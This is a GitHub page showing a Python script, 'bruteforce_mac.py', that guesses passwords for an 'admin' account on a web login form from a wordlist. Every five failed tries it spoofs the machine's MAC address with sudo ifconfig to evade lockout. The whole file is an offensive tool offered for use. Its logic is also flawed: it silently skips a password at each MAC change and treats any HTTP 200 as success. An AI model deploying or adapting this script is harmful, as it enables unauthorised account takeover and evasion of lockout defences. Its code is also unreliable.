-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbruteforce_mac.py
69 lines (52 loc) · 2.11 KB
/
bruteforce_mac.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
import requests
import subprocess
import random
import time
# URL of the page where the brute force is happening
TARGET_URL = 'http://example.com/login'
# Username you're brute-forcing
USERNAME = 'admin'
# Path to the password file (password register)
PASSWORD_FILE = 'passwords.txt'
# Function to brute force
def brute_force(password):
data = {'username': USERNAME, 'password': password}
response = requests.post(TARGET_URL, data=data)
return response.status_code
# Function to change MAC address
def change_mac():
# Generate a random MAC address
new_mac = "02:00:00:%02x:%02x:%02x" % (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
# Bring down the network interface (assuming 'eth0')
subprocess.run(["sudo", "ifconfig", "eth0", "down"])
# Change the MAC address
subprocess.run(["sudo", "ifconfig", "eth0", "hw", "ether", new_mac])
# Bring the network interface back up
subprocess.run(["sudo", "ifconfig", "eth0", "up"])
print(f"Changed MAC address to: {new_mac}")
def main():
attempt_counter = 0
# Open the password file
with open(PASSWORD_FILE, 'r') as file:
# Iterate over each password in the file
for password in file:
password = password.strip() # Remove any extra whitespace or newline characters
if attempt_counter < 5:
# Attempt brute force
response_code = brute_force(password)
if response_code == 200:
print(f"Success! Password: {password}")
break
else:
print(f"Attempt {attempt_counter + 1}: Failed with password: {password}")
attempt_counter += 1
else:
# Change MAC after 5 attempts
print("Changing MAC address after 5 failed attempts...")
change_mac()
attempt_counter = 0 # Reset the counter
# Optional delay between requests to avoid overloading the server
time.sleep(2)
if __name__ == "__main__":
main()